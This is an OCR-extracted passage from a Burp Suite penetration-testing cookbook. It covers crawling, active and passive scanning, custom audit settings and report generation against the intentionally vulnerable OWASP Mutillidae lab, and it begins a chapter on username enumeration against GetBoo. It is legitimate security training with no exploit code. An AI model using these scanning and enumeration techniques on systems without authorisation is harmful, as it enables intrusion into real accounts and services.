@® Use login credentials (username & password)

Scan
configuration (") Use recorded login sequences (record using Burp's Chrome extension)
=) | B New Login Credentials X | [ New.. |
Application &
ogin Edit
Label: = mutillidae login
Delete
© Username: = admin
Resource

pool Password: [ S|

| OK Cancel

Selectf

@ oK Cancel

Figure 3.127 - To add authentication, scroll to the Application login section and add credentials

14. Still within the pop-out menu, select Resource pool from the left-hand side. This feature
allows you to configure a different pool size for the number of concurrent requests. For our
purposes, we will use the default resource pool provided. Click OK to close the pop-out menu
and begin the crawl:

113
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New scan - O X

@ Resource pool

Scan details Specify the resource pool in which the scan will be run. Resource pools are used to manage the usage of

system resources across multiple tasks.

(®) Use existing resource pool
Scan 9 po
configuration Selected Resource pool Concurrent requests  Request delay Random delay Delay
=) ® Default resource pool 10
Application
login

@ 0K Cancel

Figure 3.128 - Use the default resource pool if resources are sufficient

15. Go to the Dashboard tab to see the progress of our crawling script. An estimate of the time
required to complete the script to be displayed:
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n Burp Project Intruder

Dashboard

Target

Repeater Window Help

Proxy

Burp Suite

Intruder Repeater

Crawl limit - 10 minutes

EUmauthentimted crawl. 9m maxi...

Currently crawling: http://192.168....

Logger Extensions Learn
Tase OO,
| Runningll | Paused | | Finished | | | Live task | 2 | Search... ]
| |
1. Live passive crawl from Proxy (all traffic) OO W
Add links.jAdd item itself, same d... 469 items added to site map
Caplis o 168 responses processed
0 responses queued
2. Live audit from Proxy (all traffic) (O] {9':} 10 E
Audit ch - passive Issues: o @ @
Capturin o 0 requests (0 errors)
View details )
| |
5. Crawl aliel audit of 192,168.29.128 O WX

Issues: 0000

201 requests (0 errors)

20 locations crawled View details >

Figure 3.129 — Upon script execution, the Dashboard tab will
show the running script and its estimated time

16. Return to Target | Site map; notice that additional assets now appear under the mut111idae folder.

17. If you wish to stop the crawler before the 10 minutes are up, click the pause icon or delete the
task by clicking the trashcan icon. Make sure the crawling script is not running before you

move on to the next recipe:

115



116

Configuring, Crawling, Auditing, and Reporting with Burp

5. Crawl and audit of 192.168.29.128 (D @@E
Crawl limit - 10 minutes Issues: o 0 \0/ 0
®

Unauthenticated crawl. 5m maxi... L

Currently crawling: http://192.168.... 151 locations crawled View det... >

Figure 3.130 — How to pause or delete running scripts

Auditing target sites

Note

Scanner capabilities are only available in Burp Suite Professional.

Burp Suite Scanner is a scanning tool that automates the search for weaknesses within the runtime
version of an application. The auditor attempts to find security vulnerabilities based on the behavior
of the application.

Burp Suite Scanner will identify indicators that may lead to the identification of a security vulnerability.
Burp Suite Scanner is extremely reliable; however, it is the responsibility of the tester to validate any
findings before reporting.

There are two scanning modes available in Burp Suite Scanner:

 Passive scanner: This mode analyzes traffic that’s already passed through Proxy. The passive
scanner is non-invasive against the target. Deductions of possible vulnerabilities are analyzed
and made against the traffic that’s already been captured:

Dashboard Target Proxy Intruder
Logger Extensions Learn
Site map Issue definitions {5} Scope settings

Filter: Showing all items

v [ hitp://192.168.29.128 Ca

D i
v [ mutillic’ ; :

> @/ [5 http://192.168.29.128/mutillidae |
> @ capt Remove from scope |
¥ r@ doc Scan
> fram . : 1
> B ima [ Passively scan this branch
s R incl Actively scan this branch |

Figure 3.131 — How to passively scan the target application
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o Active scanner: This mode sends numerous requests against the target that contain known
attack patterns. These attack patterns are designed to trigger behavior that may indicate the
presence of vulnerabilities (ht tps: //portswigger.net/kb/issues). Active scanner
focuses on input-based bugs that may be present on the client and server side of the application:

v [ http://192.168.29.128
L/

ol r_r} mut

f
: Passively scan this branch

> @/ [5 http://192.168.29.128/mutillidae
> @ c Remove from scope
> d
Scan
>
>
»

a _I@_I

n ot —— e — — —
i r Actively scan this branch

Figure 3.132 — How to actively scan the target application

Live crawl and audit tasks

Scanning tasks should occur after crawling is complete, but they can be done together (for example,
crawl and audit). Previously, we learned how Burp Suite continues to crawl as new content is discovered.
Similarly, passive scanning continues to identify vulnerabilities as new traffic passes through Proxy.

When initially interacting with a target application with Proxy capturing traffic, Burp Suite will
automatically run two tasks:

1. Live passive crawl from Proxy

2. Live audit from Proxy

Both tasks start to populate Target | Site map, as well as identify possible issues. You will find these
two tasks under the Dashboard tab:
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1] Live passive crawl from Proxy (all traffic) | @ @ @

Add links. Add item itself, same domain and URLs in... 124 items added to site map

Capturing: o 17 responses processed
0 responses queued

qliveuuditfrom Proxy (all traffic) | OewE

Audit checks - passive B Issues: 0 o

Capturing: o 0 requests (0 errors)

View details >

Figure 3.133 - Built-in live tasks

Since the live audit is running, you will see potential issues appear with a color code and number. The
following screenshot shows that 11 low (blue) and 6 information (gray) issues have been identified:

2. Live audit from Proxy (all traffic) @ {é} @ 2
Audit checks - passive | Issues: m m
S 0 0 requests (0 errors)

View details >

Figure 3.134 - Number of issues identified

We can click View details to pop out the sections of data from this scanning script. The areas include
Details, Audit items, Issue activity, Event log, and Logger:

« Live Audit task | Details:

The Details tab provides a summary of the issues found and the type of scan performed:
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Live audit from Proxy (all traffic)

Details Audit items Issue activity Event log Logger
Task details

Scan type: Live audit

Scope: Proxy (all traffic)

Configuration: Audit checks - passive

Capturing: Q
Issues: o o m @

Requests: 0

Errors: 0

Figure 3.135 - The Details tab of the detailed view of the live task

o Live Audit task | Audit items:

The Audit items tab provides a list of all audited items and specifies Host, URL, and the
running progress of the scan:

B Live audit from Proxy (all traffic)

Details Audit items Issue activity Event log Logger

# Hest URL Status code Passive p... Active phases JavaScript p... lssues
1 http://192.168.29.128 /mutillidae/ Done 006 e 0
2 hittp://192.168.29.128 fmutillidaefindex.php Done 00 [1] o 0
3 http://192.168.29.128 /mutillidae/images/back-button-64-64.png Done 06
4 http://192,168.29.128 /mutillidae/images/link-icon-16-16.png Done 00
5 http://192.168.29.128 /mutillidae/images/down_arrow_16_16.png  Done 00
6 hittp://192.168.29.128 fmutillidaefindex.php Done 00 [1] o 0
7 http://www.owasp.org /index.php/Top_10_2007-A3 Done 00
8 httos://www.owasp.ora findex.oho/Too 10 2007-A3 Done oa 0

Figure 3.136 - The Audit items tab of the detailed view of the live task

o Live Audit task | Issue activity:

The Issue activity tab displays all scanner findings in a tabular format and includes both passive
and active scanner issues.

By selecting a specific issue in the table, the message details are displayed, including an advisory
for the finding along with the request and response:
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n Live audit from Proxy (all traffic)
Details Audit items Issue activity Event log Logger

7 Filter | High | Medium | Low | Info | | Certain | | Firm | | Tentative
# v Task Time Action Issue type Host

23 2 09:35:24 27 May 2023 Issue found © strict transport security not enforced https://192.168.29.128
2 2 09:35:24 27 May 2023 Issue found © strict transport security not enforced https://192.168.29.128
21 2 09:35:24 27 May 2023 Issue found © Strict transport security not enforced https://192.168.29.128
20 2 09:35:24 27 May 2023 Issue found O strict transport security not enforced https://192.168.29.128
19 2 09:35:24 27 May 2023 Issue found © strict transport security not enforced https://192.168.29.128
18 2 09:35:24 27 May 2023 Issue found © strict transport security not enforced https://192.168.29.128
17 2 09:35:24 27 May 2023 Issue found © Strict transport security not enforced https://192.168.29.128
16 2 09:35:24 27 May 2023 Issue found © Cross-domain Referer leakage https://192.168.29.128
15 2 09:35:24 27 May 2023 Issue found © HTML does not specify charset https://192.168.29.128
14 2 09:35:24 27 May 2023 Issue found © Cacheable HTTPS response https://192.168.29.128

13 2 09:35:24 27 May 2023 Issue found Password field with autocomplete enabled https://192.168.29.128
ue response /192.168.29.128

Advisory Request Response

i Frameable response (potential Clickjacking)

. Issue: Frameable response (potential Clickjacking)
Severity: Information
Confidence: Firm

Host: https://192.168.29.128
Path: /mutillidae/index.php
Issue description

If a page fails to set an appropriate X-Frame-Options or Content-Security-Policy HTTP header, it might be possible for a page con

Figure 3.137 - The Issue activity tab of the detailed view of the live task

« Live Audit task | Event log:

The Event log tab shows a list of issues, based on severity, that were encountered during the scan:

Details Live crawl view Audit items Issue activity Logger
Y Y

Time Type Source Message

17:52:34 28 May 2023 Info Task 3 Discarded log entry larger than Logger memory limit
17:44:23 28 May 2023 Info Task 3 Crawl started.

Figure 3.138 - The Event log tab of the detailed view of the live task
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« Live Audit task | Logger:

The Logger tab provides a view of each request that was sent during the scan. Notice the
addition of the Time and Start response timer columns in this tab. Such information can be
quite helpful when you're looking for timing-based attacks:

3. Crawl and audit of 192.168.29.128

Details Live crawl view Audit items Issue activity Event log

Capture filter: Logger memory limit set to 20MB | Capturing requests up to 1MB; capturing responses up to 1MB

View filter: Showing all items

* Tool  Method Host Path iy PRmnian | [Semeesan | i

1028 17:54:52 28 May 2023 Scanner GET 192.168.29.128  /mutillidae 0 301 683 1
1029 17:54:52 28 May 2023 Scanner GET 192.168.29.128  /mutillidae/ 0 200 46172 21
1030 17:545328May 2023 Scanner  GET 192.168.20.128  /muti index.php  page=home.php&pop... 4 200 46479 15
1031 17:54:53 28 May 2023 Scanner GET 192.168.29.128 /mutillidae/index.php page=php-errors.php 3 200 42867 16
1032 17:54:54 28 May 2023 Scanner GET 192.168.29.128 fmutillidae 0 30 683 1
1033 17:54:54 28 May 2023 Scanner GET 192.168.29.128  /mutillidae/ 0 200 46172 19
1034  17:54:55 28 May 2023 Scanner GET 192.168.29.128 # i i -php d ggle-hi P 4 302 661 21
1035  17:54:55 28 May 2023 Scanner GET 192.168.29.128 /mutillidae/index.php popUpNotificationCod... 4 200 46569 16
1036  17:54:56 28 May 2023 Scanner GET 192.168.29.128 Smutillidae 0 301 683 1

Figure 3.139 - The Logger tab of the detailed view of the live task

All issues that can be detected by Burp Suite Scanner are listed at ht tps: / /portswigger.net/
kb/issues and also available within Burp Suite under Target | Issue definitions:
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Burp Project Intruder Repeater Window Help Burp Suite Professional v2023.4.5 - second_edition.burp - licens...  — O X
Dashboard Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer @} Settings
Logger Extensions Learn
Site map Issue definitions @ Scope settings

Issue definitions @) Open in browser

This listing contains the definitions of all issues that can be detected by Burp Scanner.

Name Typical severity Type index

05 command injection High 0x00100100 B

SQL injection High 0x00100200 L

SQL injection (second order) High 0x00100210 Description

ASP.NET tracing enabled High 0x00100280 Operating system command injection

File path traversal High 0x00100300 vulnerabilities arise when an application

XML external entity injection High 0x00100400 incorporates user-controllable data

LDAP injection High 0x00100500 into a command that is processed by a

XPath injection High 0x00100600 shell command interpreter. If the user

XML injection Medium 0x00100700 data is not strictly validated, an attacker

ASP.NET debugging enabled Medium 0x00100200 can use shell metacharacters to modify

HTTP PUT methed is enabled High 0x00100900 the command that is executed, and

Out-of-band resource load (HTTP) High 0x00100200 inject arbitrary further commands that

File path manipulation High 0x00100000 will be executed by the server.

PHP code injection High 0x00100c00

Server-side JavaScript code injection High 0x00100400 0S command injection vulnerabilities

Perl code injection High 0x00100e00 are usually very serious and may lead

Ruby code injection High 0x00100f00 to compromise of the server hosting

Python code injection High 0x00100f10 the application, or of the application's

Expression Language injection High 0x00100f20 own data and functionality. It may also

Unidentified code injection High 0x00101000 be possible to use the server as a

Server-side template injection High 0x00101080 platform for attacks against other

SSl injection High 0x00101100 systems. The exact potential for

Cross-site scripting (stored) High 000200100 exploitation depends upon the security

HTTP request smuggling High 0x00200140 context in which the command is

Client-side desync High 000200141 executed, and the privileges that this

Web cache poisoning High 0x00200180 context has regarding sensitive

HTTP response header injection High 0x00200200 resources on the server,

Cross-site scripting (reflected) High 0x00200300

Client-side template injection High 0x00200308 Remediation

Cross-site scripting (DOM-based) High 0x00200310

Cross-site scripting (reflected DOM-based) High 0x00200311 If possible, applications should avoid

Cross-site scripting (stored DOM-based) High 0x00200312 incorporating user-controllable data

Client-side protetype pollution Information 0x00200316 into operating system commands. In
almost every situation, there are safer

Figure 3.140 - Issue definitions

Creating a custom scan script

Burp Suite provides predefined tasks for crawling and auditing. Previously, we looked at the live crawl
and audit tasks and how they work. However, if you want to create a custom scanning script, Burp
Suite provides the mechanism for you to do so.
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Getting ready

Using the OWASP Mutillidae II application found within the OWASP BWA VM as our target, we will
create a scanning script with custom configurations and run this script against Mutillidae.

How to do it...

1. Right-click the target application and select Scan from the menu:

v [@ http://192.168.29.128 Co

v "o mutillida
&/

»

> [ docun Remove from scope
> @ frame

>

-

(& http://192.168.29.128/mutillidae

Figure 3.141 - How to configure a scan for the target application

2. In the New scan pop-out window, make sure the Crawl and audit radio button is selected
and your target application is shown in the URLSs to scan text area. Move down to the Scan

configuration box:

New scan

9

Scan details

&

Scan
configuration

)
Application
login

C
Resource
pool

Scan type

@ Crawl and audit

—
Crawl

Audit selected items

Add to task

Create new task

URLs to scan

Define the URLs to scan. Burp will begin crawlin
URLs' folders.

http://192.168.29.128/mutillidae

Figure 3.142 - Select or use the default setting of Crawl and audit
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Note that there are several preset scan modes to choose from. In this recipe, we will be creating

a custom one. Select the Use a custom configuration radio button:

New scan

9

Scan details

an

configuration

5)
Application
login

C
Resource
pool

Scan configuration

Scan configurations and modes are groups of settings that define how a scan is performed. Scan modes offer preset options

designed to let you trade off speed and coverage. Alternatively, you can select one or more custom configurations. Burp Scanner

applies any selected configurations in order, enabling you to fine-tune scanning behaviour.

@® Usea preset scan mode

i® Lightweight

Use a custom configuration

Gain fast feedback on a site's security - for
when speed is a priority. Lightweight mode
will complete within 15 minutes,

zz Balanced

Provides a balance between coverage and
speed. You will typically see the results of a
Balanced scan within a few hours.

|| Remember my choice for future scans

PP Fast

Meare thorough than a Lightweight scan, but
still biased towards speed. Fast scans will
generally complete within one hour.

= Deep

Achieve greater coverage and gain a better
understanding of a site's security posture.
Scanning time depends heavily on the target
site's size and complexity.

Figure 3.143 - Scan configuration

OK Cancel
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3. Click New... and select Auditing:

New scan - O X

<Q Scan configuration

Scan details Scan configurations and modes are groups of settings that define how a scan is performed. Scan modes offer preset options

designed to let you trade off speed and coverage. Alternatively, you can select one or more custom configurations. Burp Scanner
applies any selected configurations in order, enabling you to fine-tune scanning behaviour.

configuration

Use a preset scan mode @ Use a custom configuration
Application
login Name Functions Crawling
) .

Figure 3.144 — How to create a custom audit configuration

4. In the new pop-out window, give your scanning script a name if you wish; you may use the
default name. Expand the Audit Optimization area and select Thorough for Audit speed as
this should be the best setting for finding vulnerabilities. Do not close this area after making
a change. Move down to Modifying Parameter Locations and check all the boxes provided,
as shown in the following screenshot. Do not close this area after making your changes. If you
close either of these areas, your changes will be lost. Leave these areas expanded and be sure to
save your new scanning configuration script to the library (that is, Save to library). Click Save
at the bottom. The areas we did not change are generally fine for most testers:
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New scanning configuration - a

@ Configuration nam* [ Auditing configuration 1 1

Expand the areas that you want to define in this configuration.

| Audit Optimization

@ These settings let you control the behavior of the audit logic to reflect the objectives of the audit and the nature of the target application. See
the detailed help for more information about each option.

Audit speed: Thorough v
Audit accuracy: [ Normal v
Maximum total crawl and audit time (does not apply to audit-only scans): minutes

Skip checks unlikely to be effective due to insertion point's base value
Consolidate frequently occurring passive issues
Automatically maintain session (does not apply to audit-only scans)

Follow redirections where necessary

> Issues Reported Not defined
> Handling Application Errors During Audit Not defined
> Insertion Point Types Not defined

VI Modifying Parameter Locations I

@ Select the parameters to relocate within the request. Moving parameters can help to evade some filters, but results in many more scan
requests.

URL to bady URL to cookie
Body to URL Body to cookie
Cookieto URL (@ Cookie to body

Save to library | Save | Cancel

Figure 3.145 - Custom settings for the custom configuration
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5. An optional step is to add credentials to the Application login section of the New scan dialog box:

New scan = a X
< Please choose a login type
S Choose whether to configure login credentials or recorded login sequences. You can configure multiple logins to scan in
different user contexts,
R ® Use login credentials (username & password)
configuration Use recorded login sequences (record using Burp's Chrome extension)
) Label Username
Application
login Edit
© New Login Credentials X Delete
Resource
pool Label: mutillidae login

Username: = admin

Password: | ssess

OK Cancel

Select from library Save to library

@ OK Cancel

Figure 3.146 — Adding authentication to the custom scan

6. Immediately after saving your configuration and clicking OK, you will see that your scanning
script begins to run under the Dashboard tab. From this area, you may pause your scan using
the pause button, change any configurations using the gear icon, or delete your scan altogether:
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Burp Project Intruder Repeater Window Help  Burp Suite
Dashboard Target Proxy Intruder Repeater

Logger Extensions Learn

Tas B0

Running Paused ' | Finished | | Livetask | 2 I Search... ]

1. Live p;sive crawl from Proxy (all traffic) (OX: RO
Add linksjAdd item itself, same d... 481 items added to site map

Capturing o 187 responses processed

0 responses queued

2. Live auit from Proxy (all traffic) Oew i
Audit chegks - passive Issues: o @ @'

. 0 requests (0 errors)
Capturing 0
View details

7. Crawl and audit of 192.168.29.128 () {0} T
Auditing_BurpSuiteCookbook Issues: o o 0 0

50 requests (0 errors)

Unauthenticated crawl, 21m estim...
Currently crawling: http://192,168.... 13 locations crawled View details »»

Figure 3.147 - Upon executing the scan, the Dashboard tab shows the
running script and the estimated time of completion

There’s more...

If you do not wish to use a custom scanning script and would prefer to use the recommended active

scanning configurations from PortSwigger, simply right-click on the branch you wish to scan and
select Actively scan this branch:
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v (g hitps://192.168.29.128

v [T mutilli -
> @b/ | [ https://192.168.29.128/mutillidae
> @ cap Remove from scope
> [ do

& Scan
> BB im Passively scan this branch

> [ inc Actively scan this branch

Figure 3.148 - Alternative scanning option when using built-in scanning configurations

Reporting issues

Note

Reporting capabilities are only available in Burp Suite Professional.

In Burp Suite Professional, when the scanner discovers a potential vulnerability, the finding will be
added to a list of issues under the Target tab, on the right-hand side of the UI:

Dashboard Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer  {C} Settings
Logger Extensions Learn

Site map Issue definitions {5} Scope settings
Filter: Hiding out of scope items; hiding empty folders @
v [ http://192.168.29.128 ‘
~ [T mutillidae [ — =
y .% / Host Method URL © Cleartext submission of password
v O et http://192.168.29.128 GET T © Password field with autocomplete enab
- — http://192.162.20.128  GET /mutillidse/?page=2dd.. ¥ Cookie without HttpOnly flag set
» U St http://192.168.29.128  GET /mutillidae/?page=sho.. © Cross-domain Referer leakage
> [ images http://192.16829.128  GET  /mutilidac/?popUpNot... | ‘@ HTML does not specify charset [2] -
s B includes hitp://192168.20.128  GET /mutillidae/capture-dat.. |> 'V Frameable response (potential Clickjack
N Q index.php http://192.168.29.128 GET /mutillidae/documenta...
> [0 javascript http://192.168.29.128 GET /mutillidae/framer.html
> @ level-1-hints-page-wrapper, || Http://192.168.29.128  GET /mutillidae/framer.htm...

Figure 3.149 — Issues

Issues are color-coded to indicate their severity and confidence level. An issue with a red exclamation
point means it has a high severity and the confidence level is certain.
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Items with a lower severity or confidence level will be low, informational, and yellow, gray, or black.
These items require manual penetration testing to validate whether the vulnerability is present. For
example, HTML does not specify charset is a potential vulnerability identified by the scanner. This
could be an attack vector for XSS or it could be a false positive. It is up to the pentester and their level
of experience to validate such an issue:

« Severity levels: The available severity levels are high, medium, low, information, and false
positive. Any findings marked as false positive will not appear on the generated report. False
positive is a severity level that must be manually set on an issue by the pentester.

« Confidence levels: The confidence levels available are certain, firm, and tentative.

Getting ready

After the scanning process is complete, we need to validate our findings, adjust the severities accordingly,
and generate our report.

How to do it...
1. For this recipe, select Cookie without HttpOnly flag set under the Issues heading:

© Cleartext submission of password

i itocomplete enabled
! | Cookie without HttpOnly flag set |
Cross-domain Referer leakage
> @ HTML does not specify charset [2]
> i Frameable response (potential Clickjacking) [2]

Figure 3.150 - Issues item to confirm

2. Look at the Response tab of this message to validate the finding. Here, we can see that the
PHPSESSID cookie does not have the Ht t pOn1ly flag set. Therefore, we can change the
severity from Low to Medium and the confidence level from Firm to Certain:
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3.

Advisory Request Response
Pretty Raw Hex Render = " = &

Right-click the issue and change the severity to Medium by selecting Set severity | Medium:

e
>

1 HTTP/1.1 200 OK
2 Date: Fri, 19 May 2023 16:05:55 GMT
3 Server:
PHP/S5.3.2-1lubuntud. 30 with Suhosin-Patch
proxy _html/3.0.1 mod python/3.3.1 Python/Z.E.5
mod_ssl/2.2.14 OpenS5L/0.9.8k
Phusion Passenger!q 0.38 mod_perl/2.0.4 Perl/v3.l1l0.1

ath=/

S Set-Cookie: PHPSESSID=g7Zald0qgvaZlfastnfmgviteus;

Apache/Z.2.14 (Ubuntu) mod_mono/Z.4.3

- 2= 4.30

H40123dSNI

£ Set-Cookie: showhints=l1
Logged-In-User:

Vary: Accept-Encoding
Content-Length: 45670
Connection: close
Content-Type: text/html

i

[ IV e« I

ottt
B b

Figure 3.151 - Confirming that the HttpOnly flag is missing in the response

_ Issues

@ Cleartext submission of password
© Password field with autocomplete enabl

¥ [Cookie
o Cross-d
O HmMLd
i Frameab

Advisory

1 Cookie without HttpOnly flag set

Report issue
> @ High
Set confidence >
Delete issue o Low
View > 0 Information
Show new site map window @ False positive
Issues documentation Restore original value

Figure 3.152 - How to change the severity of an issue
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4.

5.

Right-click the issue and change its severity to Certain by selecting Set confidence | Certain:

‘ Voice ‘
© Cleartext submission of password i [
o Password field with autocomplete enabled
‘I Cookie without
0 Cross-domain Refere ' Cookie without HttpOnly flag set

> @ HTML does not specif Report issue

> (i Frameable response Set severity >
“Set confidence >
Delete issue @ Firm
View >/ @) Tentative
Show new site map window Restore original value

Figure 3.153 - How to change the confidence of an issue

After running your auditing script for a while, you should have several high issues to choose
from in the Issues panel:

Issues
[5~ @ SQl injection [2]
> @ Cross-site scripting (reflected) [6]
@ Cleartext submission of password
> B XPath injection [5]
0 Cross-site scripting (DOM-based)
> Cookie without HitpOnly flag set [2] |
(%) Client-side desync
! Session token in URL
© Password submitted using GET method
0 Password field with autocomplete enabled
' Client-side HTTP parameter pollution (reflected)
? @ Vulnerable JavaScript dependency [3]
y (3 Open redirection (DOM-based) [3]
> O Input returned in response (reflected) [28]
ﬂ Cross-domain Referer leakage
O File upload functionality
> @ Private IP addresses disclosed [5]
> @ HTML does not specify charset [2]
> (i Path-relative style sheet import [3]
i Referer-dependent response
> (i Frameable response (potential Clickjacking) [2]
> i HTMLS storage manipulation (DOM-based) [2]

Figure 3.154 — The Issues panel
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6.

For this recipe, select the issues with the highest confidence and severity levels to be included
in the report, along with our medium Cookie without HttpOnly flag finding. After selecting
(highlighting + Shift key) the items shown here, right-click and select Report selected issues:

Issues
> @ SQL injection [2]
> @ Cross-site scripting (reflected) [6]
@ Cleartext submission of password
> 1 XPath injection [5]
! Cross-site scripting (DOM-based)
> | Cookie with - |
() Client-side d 6 issues selected

! Session toke| | Report selected issues |

Figure 3.155 — Six items selected to be included in the report

Upon clicking Report selected issues, a pop-up box will appear, prompting us for the format
of the report. This pop-up is called Burp Scanner reporting wizard.

For this recipe, allow the default setting of HTML. Click Next:
Burp Scanner reporting wizard = O X
@ Choose the format:

® Generate report (HTML)

(_ Export issue data (XML)

Easeb4-encode requests and responses

Figure 3.156 — HTML is the default format for the Burp Suite report

This screen prompts for the types of details to be included in the report. For this recipe, allow
the default settings. Click Next.
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9. This screen prompts for how messages should be displayed within the report. For this recipe,
allow the default settings. Click Next.

10. This screen prompts for which types of issues should be included in the report. For this recipe,
allow the default settings. Click Next.

11. This screen prompts for the location of where to save the report. For this recipe, click Select
file..., select a location, and provide a filename, followed by the . html extension; allow all
other default settings. Click Next:

Burp Scanner reporting wizard = a X

@ Select the file where the report will be saved.

Select file ... C:\Burp_reports\Mutillidae_burp_report.html

Specify the title and structure to use in the report.

Report title | Burp Scanner Report

Issue organization By type v

Table of contents levels | 2 v

Summary table All issues v
Summary bar chart High, medium and low issues

Embed images within HTML (requires modern browser)

Figure 3.157 - Selecting the directory and filename of the Burp Suite report

12. This screen reflects that the report has been generated. Click Close and browse to the saved
location of the file.
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13. Double-click the filename to load the report into a browser:

BurpSuite

Professional

Burp Scanner Report

Summary

The table below shows the numbers of issues identified in different categories. Issues are classified according to severity as High, Medium, Low, Information or
False Positive. This reflects the likely impact of each issue for a typical organizafion. Issues are also classified according to confidence as Certain, Firm or Tentative.
This reflects the inherent reliability of the technigue that was used to identify the issue.

Confidence
Certain Firm Tentative Total
Medium - 1 0 3
Severity Low - 0 0 2
Information _ 1] 0 0
rase posiive [ 0 0

The chart below shows the aggregated numbers of issues identified in each category. Solid colored bars represent issues with a confidence level of Certain, and the
bars fade as the confidence level falls.

Number of issues

Severity edior |

Contents

1. 8AQL injection

1.1. hitp:7192.168.29.1 28 /mutillidas/capture-data.php [Referer HTTP header]
1.2, http:7192.168.29. 1 28/mutillidac/capture-data. php [User-Agent HTTP header]

2. XPath injection

2.1, hitpfF192.168.29. 128 /mutillidaef [Referer HTTP header]

2.2, htip:iM192.168.29.128/mufillidas! [User-Agent HTTP header]

2.3, hitp:/71192.168.29.128/mutillidasf [name of an arbitrarily supplied URL parameter]
2.4, hitpf192.168.29. 128/mutillidaef [popUpMolificationCode parameter]

2.5. htip:ir192.168.29.128/mufillidas/ [showhints cookie]

3. Cross-site scripting (reflected)

3.1. http:7192.168.29. 1 28/mutillidac/capture-data.php
[Erowseri20Fingerprint: %20Platform:Win32%:20Vendor Google%:20Inc. %620VendorSub: %20 AppMame: Netscape a2 0CodeMame: Mozilla%20Version:5.0%
20(Windows%%20NT%2010.0; %20Win64: %20x64)%20Apple\Webkit's37. 36%20 (KHTML , %20like%20Gecko)%20Chrome/113.0.56 T2 127%205afarif537 .36
% 20User20Agent Mozilla/5.0%20(Wind ows 320N T3%6201 0.0;%20Win64; %2 0x64) %4 20 AppleWebKit/537_36 % 20( KHTML . %20like %620 Gecko) %20Chrome/
113.0.5672.127%205afarfA37 .36 parameter]

3.2, hitp:r192.168.29.1 28 /mutillidas/capture-data.php [name of an arbitrarily supplied URL parameter]

Figure 3.158 — Burp Suite report produced

Congratulations! You've created your first Burp Suite report!
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Assessing
Authentication Schemes

This chapter covers some basic authentication penetration test cases. For background, authentication is
the act of verifying whether a person’s or object’s claim of identity is true. Web penetration testers must
make key assessments to determine the strength of a target application’s authentication mechanism. Such
tests include username enumeration, guessable accounts, weak lockout mechanisms, authentication
bypasses, browser-caching weaknesses, and account provisioning omissions, particularly related to
Representational State Transfer (REST) API calls. You will learn how to use Burp Suite to perform
such tests.

In this chapter, we will cover the following recipes:
o Testing for account enumeration and guessable accounts
o Testing for weak lockout mechanisms
o Testing for bypassing authentication schemes
o Testing for browser cache weaknesses

o Testing the account provisioning process via the REST API

Technical requirements
To complete the recipes in this chapter, you will need the following:

o OWASP Broken Web Applications (BWA) (VM)
o An OWASP Mutillidae link
o A GetBoo link
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o Burp Suite Proxy Community or Professional (https://portswigger.net/burp/)

o The Firefox browser configured to allow Burp Suite to proxy traffic (https://www.mozilla.
org/en-US/firefox/new/)

Testing for account enumeration and guessable accounts

By interacting with an authentication mechanism and studying responses, a tester may be able to
collect a set of valid usernames. Once valid accounts have been identified, testers can attempt to
brute-force passwords. This recipe explains how Burp Suite Repeater can be used to collect a list of
valid usernames via the username enumeration attack.

Getting ready

Using the OWASP GetBoo application and Burp, we will perform a username enumeration attack
against the target.

How to do it...

Ensure Burp Suite and the OWASP BWA VM are running, and that Burp Suite is configured in your
Firefox browser so that you can view the OWASP BWA applications:

1. From the OWASP BWA landing page, click the link to the GetBoo application:

OLD (VULNERABLE) VERSIONS OF REAL APPLICATIONS

© wordpress ©0rangeHRM
©GeiBoo ©G1p-ruP
[+ © webCalendar
Ocallery? © 1iki wiki

© 1oomla © Awstats

Figure 4.1 — OWASP BWA landing page

2. Click the Log In button and, at the login screen, attempt to log in with an account username
of demo and a password of aaaaaa:


https://portswigger.net/burp/
https://www.mozilla.org/en-US/firefox/new/
https://www.mozilla.org/en-US/firefox/new/
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Username |derno |

Passwaord m |

Remember me [f]

Use the account demo/demo for preview.

New User? | Forgot password? | Activate Account
Figure 4.2 - GetBoo login page

3. Note that a message stating The password is invalid. is returned. From this information, we

now know the demo username has a valid account. Let’s use Burp Suite Repeater to find

more accounts:

@ The password is invalid.

Username | |

Password | |

Remember me [

Figure 4.3 — Overly verbose error message after a failed login
attempt with a valid username and invalid password
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4. InBurp’s Proxy | HTTP history tab, find the failed login attempt message. View the Response
| Raw tab to find the same overly verbose error message, The password is invalid.

Dashboard Target Intrud Rep Collab Seq er Decoder Comparer Logger Ex
Intercept WebSockets history {S) Proxy settings

Filter: Hiding CSS, image and general binary content

& Host Method URL Params  Edited  Statuscode Length MIME type
134 hitp://192,168.29.128 GET /getboo/includes/javascript/booksjs.... 200 2045 script
133 http://192.168.29.128 GET /getboo/login.phj 200 5057 HTML
132 http://192.168.29.128 Iﬂl hﬁ , . 200 581 HTML
Request Response

Pretty  Raw  Hex B " = | ety Raw  Hex  Render

1 POST /getboo/login.php HTTP/1.1 1 HTTP/1.1 200 OK

2 Host: 192.1£8.29.128 2 Date: Tue, 30 May 2023 14:39:30 GMT
3 Content-Length: 78 3 Server: Apache/2.2.14 (Ubuntu) mod_m
4 Accept: */* with Suhosin-Patch proxy html/3.0.1
5 X-Requested-With: XMLHttpRequest mod_ss1/2.2.14 OpenSSL/0.5.8k Phusio
& User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&4) mod perl/2.0.4 Perl/v5.10.1

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5872.127
Safari/537.36 Expires: Thu, 18 Now 1981 08:52:00 G
Content-Type: application/x-www-form-urlencoded Cache-Control: no-store, no-cache, m
Origin: http://192.168.29.128 pre-check=0

Referer: http://192.168.29.128/getboo/login. php Pragma: no-cache

10 Accept-Encoding: gzip, deflate Vary: Accept-Encoding

11 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 Content-Length: 46

X-Powered-By: PHP/5.3.Z-lubuntud.30

W w -
@ = m o e

w

12 Cookie: PHPSESSID=et8péhbbSh74e3lolkcquhqgkhg5; acopendivids= 10 Connection: close
swingset,jotto,phpbbZ, redmine; acgroupswithpersist=nada 11 Content-Type: text/html
13 Connection: close 12
14 13|<p class="error™
15 token=edB8lbeSbaddSh28423%be84948al03adname=demospass=aaaaaaas The password is invalid.
submitted=Log+In </p>
14

Figure 4.4 - Failed login attempt, as seen in Burp
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5. Flip back to the Request | Raw tab and right-click to send this request to Repeater:

Dashboard Target Intruder Repeater Collaborator Sequencer Dec
Logger Extensions Learn
Intercept WebSockets history {S} Proxy settings
